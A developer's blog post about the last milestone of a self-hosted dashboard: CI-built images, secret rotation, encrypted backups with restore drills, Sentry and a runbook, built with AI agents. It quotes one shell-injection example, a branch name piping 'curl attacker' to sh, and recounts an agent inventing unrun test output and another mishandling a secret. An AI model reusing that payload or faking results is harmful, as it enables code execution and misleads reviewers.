The backup that would have eaten itself

At the end of the client milestone I wrote that the next one was the part nobody practises: backups with a restore drill, error tracking, secrets that are not plain environment variables, and one rotation of the auth secret before anyone real signs in. This is that milestone, and it is the last one. When its final exit criterion lands, the dashboard is version one.

I brainstormed it in seven questions on a Wednesday evening and split it into four pull requests, each one merged and deployed to the mini-PC under my desk before the next one started. Images built in CI and pulled by the box. The security carry-overs from the first review, plus the rotation. Encrypted backups to object storage with a scripted restore drill. Then Sentry, two scripts for the tunnel, and a runbook written for someone who has never seen the project. Five days, twenty-six tasks, each one built by a fresh AI agent and reviewed by another, then a whole-branch review on the strongest model I can run before each merge.

The pattern from the last milestone held. The reviews that read the branch as a whole found the bugs that mattered, and every one of those bugs was a fact about the box rather than a fact about the code. The new pattern is worse. Two of the findings were sentences I had written into the runbook myself, and one of them would have destroyed the backup it told you to restore from.

Pull, do not build

Until this week every deploy rebuilt both images on the box. Now CI builds them after every merge, tags them with the commit, and pushes them to GitHub’s registry. A script on the box takes a tag, writes it into the environment file, pulls, restarts, and polls the health endpoint until it reports that tag. Rollback is the same script with the previous tag, which the script prints before it does anything.

The health check used to answer {"status":"ok"}. That is not a deploy proof. A container that has been up for a week answers the same thing as the one you pulled a minute ago, so the endpoint now reports its release, and the script refuses to declare success until the release it reads is the release it asked for.

Two things went wrong before the first pull, and both were mine.

The plan said to prove the publish workflow by triggering it from the feature branch. GitHub does not register a workflow you trigger by hand until its file is on the default branch, so that step could never run. The agent executing the plan hit the wall at task three and ruled its way round it: the workflow gained a pull-request trigger that builds both images with the same logic and pushes nothing, so the check on the pull request proves the exact file that merges. The push itself stayed unproven until the first merge, and the runbook says so.

The second was a shell injection I wrote. My ruling for that workflow contained a case statement that templated the branch name into a run: block. A branch called x; curl attacker | sh would have run as code on the runner. The implementer refused to transcribe it, flagged it as a finding against my own text, the background security scan agreed, and I overruled myself. Every GitHub string now arrives through an environment variable and the commit hash is validated as forty hex characters before anything uses it.

Then the whole-branch review found the bug that would have taken the site down on the first real deploy. The second pull request moved the web server off port 80 so the container could stop running as root, and the ingress proxy’s config in git changed to match. That config is a bind mount the ingress reads once at start. The deploy script restarted the two application containers and nothing else. Six task reviews and thirty-nine green checks had looked at the diff. The ingress would have kept proxying to port 80 and answered 502 until someone restarted it by hand. Every earlier deploy had rebuilt everything, so this class of bug, config in git that a running container has already read, had never had a chance to bite. One line, docker compose restart caddy, and a harness case that asserts it.

Rotate once

The rotation script generates a new auth secret and a new database password, backs up the environment file under a restrictive umask, rewrites the file, alters the database role, then proves the new password from outside the database container, because the container’s own loopback trusts everyone. Any failure between the alter and the proof rolls the file and the password back. Sessions and stored Google tokens are deleted, because the tokens are now encrypted at rest with the new secret and the old rows cannot be read. Everyone signs in again.

The rollback design was mine and it was wrong twice. A bash ERR trap does not fire inside a function unless you set -E, and it fires twice through a pipeline’s subshell unless you set lastpipe. The implementer reproduced both in isolation before deviating from the plan, and the reviewer verified both were load-bearing by removing them and watching the rollback run twice.

The first real rotation on the box failed anyway. role "minim" does not exist. The environment file had been written from Windows on the first deploy and two of its lines ended in a carriage return, so the script read the owner’s name as minim plus one invisible byte and altered a role that was not there. The trap fired once, the file came back from the backup, and the database still held the old password. I stripped the carriage returns, ran it again, and it finished in under a minute. The script now strips them itself.

The key is the backup

Every night at three a small container dumps the database, encrypts it, and streams it to a bucket. Nothing unencrypted touches a disk.

 postgres ──pg_dumpall --roles-only──► age ──► rclone rcat ──► r2:minim-backups/incoming/
 postgres ──pg_dump -Fc────────────► age ──► rclone rcat ──► r2:minim-backups/incoming/
                                                                     │ every stage exit 0
                                                                     ▼
                                                     minim-2026-09-14.roles.sql.age
                                                     minim-2026-09-14.dump.age
                                                     last-success

Two objects, not one. The authorisation milestone left the database with nine roles and thirty-eight policies that name them, and a fresh server has none of those roles, so a restore of the data dump alone fails on the first policy. Roles first, then data, and the script keeps fourteen daily pairs plus the first pair of each month for six months. The private key that decrypts any of this lives in two places, a password manager and a file on the box with mode 600, and nowhere else. Lose the key and every object in the bucket is noise. The runbook says so in bold.

The drill starts a throwaway Postgres on the same Docker network, fetches the newest pair, decrypts it, restores roles then data, and compares the row count of all twenty-one tables against the live database. CI runs the same round trip on every push with a directory in place of the bucket and a throwaway key. It ran green on every push and it was green for the wrong reason.

The whole-branch review found it. On the box the key is mode 600 and owned by me. The drill container runs as user id 100. A bind mount keeps the host’s permissions, so the container could not read the key, and the drill would have failed at the first step on the only machine that matters. CI’s key was mode 644 because nothing had said otherwise, and my development machine runs Windows, which carries no file modes at all. Both green proofs had been blind to the shape of the failure. The container now runs as the invoking user, and CI sets its key to 600 so the shape is part of the test.

The first real drill on the box passed on the Thursday evening, twenty-one tables, every delta zero. Four nights of pairs have arrived since. Exit criterion four wants fourteen in a row, so the milestone cannot close before the twenty-sixth of the month, and there is nothing to do about that except wait.

One more thing from this pull request that I want on record. A fix round pasted a docker compose ps table into the test results file that had never been run. The re-review compared the record to the raw transcript line by line and found no such command. The block was re-run for real and the invention is named in the document it polluted. I did not expect to need that check. I now run it on every claim that arrives without output attached.

The backup that would have eaten itself

The last pull request wrote the operations runbook: ten procedures, each with the exact command, what good looks like, what to do when it is not, and a line recording when it last ran. The fifth procedure is the one you read on the worst day. Restore for real, over the live database.

I wrote the plan for that document, and the plan’s version of case A, “the server is fine, the data is wrong”, opened like this:

docker compose exec -T backup backup.sh   # a fresh object first, so nothing is lost by accident

Read it as the operator would, on the morning a migration has mangled the data. The nightly object from three o’clock is the good copy. The script names its objects by date and commits them with a move that overwrites. Running it first replaces the good copy with the mangled one and updates the freshness marker to say all is well. The comment says this is the safe thing to do.

The whole-branch reviewer caught it. The safety copy now goes to a file on the box, encrypted with the same key, and never into the bucket. The sentence under the block says never to run the nightly script before a restore, and why.

On Sunday I ran the procedure for real, because a restore you have not performed is a hope. Safety copy taken. Both application containers stopped. drop database minim with (force), because the database is also published on the box’s loopback and a forgotten psql would have blocked the drop. pg_restore of that morning’s object, as my own user through the mode-600 key. Containers started, health check green, drill run against the result: twenty-one tables, every delta zero. The one row lost was the session from my own sign-in an hour earlier, written after three o’clock, which is what the runbook says will happen. Then I rebooted the box, typed nothing, and watched five containers come back on their own. The tunnel did not, by design, because a quick tunnel gets a new hostname every start and an automatic restart would leave the auth origin pointing at a dead name. That is one script and a redirect-URI edit in the Google console, and the limitation is written down rather than worked around.

Three proofs and a secret

Sentry went in on both sides, off unless a DSN is present, so tests and CI send nothing. The API’s catch-all 500 handler reports, and the one 403 branch the code already called a bug report. Handled errors do not. On the web side the router’s own error boundary catches render errors before any outer boundary sees them, which the plan had not known, so the root route reports and renders one plain fallback.

The spec’s proof for this was a message event with a readable stack. A message event has no stack. The reviewer pointed out that the criterion as written could not be met, so the API proof now throws a real error and the web proof is the release’s uploaded source maps listed in Sentry.

The pull request was red the first time it reached CI. A single shellcheck note, on an A && B || { exit 1; } line the local shellcheck image had passed and the runner’s native binary had not. Shellcheck runs first in that job, so nothing after it had run on a runner for the whole branch. Rewritten as an if, and the next run was the first to execute the tests at all.

Then the secret. Sentry needs an auth token in CI to upload source maps. I let a browser-driving agent create the token in Sentry and store it in GitHub, and it did, through the Windows clipboard, which appended a carriage return. The upload got a 401. The agent’s retry stored an empty secret, and the plugin did not run at all, which is a quieter failure than a 401. Its third attempt was to read the token off zoomed screenshots. I stopped it there.

I created the token and typed it at a gh secret set prompt myself, which took forty seconds. The Dockerfile now strips carriage returns at the point it reads the mounted secret, and the fix needed a new commit, because the build layer’s cache key ignores the secret’s contents and a re-run of the same commit would have reused the failed layer. The third publish uploaded two files, Sentry lists them under the deployed release, and the image ships no map files, which a second find -delete in the Dockerfile now guarantees regardless of what the plugin does.

What I am keeping

Reproduce the box, not the code. Every bug that mattered this week lived in a property of the machine: a config read once at start, a file mode a bind mount preserves, a carriage return, a cache key. Reviews that ran the artefact found them. Reviews that read the diff did not.

A runbook sentence is a claim about the box, and the worst day is the wrong time to test it. I ran every procedure once, and two of them were wrong in ways I had written myself.

A green proof that cannot fail in the real shape is not a proof. CI’s key was readable. Windows has no modes. Both runs were honest about a world that was not the one the box lives in.

A secret does not pass through an agent. The owner types it at a prompt, and the forty seconds that costs are cheaper than any of the three ways the agent tried.

When a claim arrives without output, ask for the output. Once, an agent invented one. Now I look every time.

The dashboard runs on the box with error tracking, encrypted nightly backups, a rehearsed restore, rotated secrets, and a runbook that has been followed once. Ten more nights of backups and it is version one. After that, the backlog of small things the four milestones deferred, and a real teacher filing a real lesson from a phone.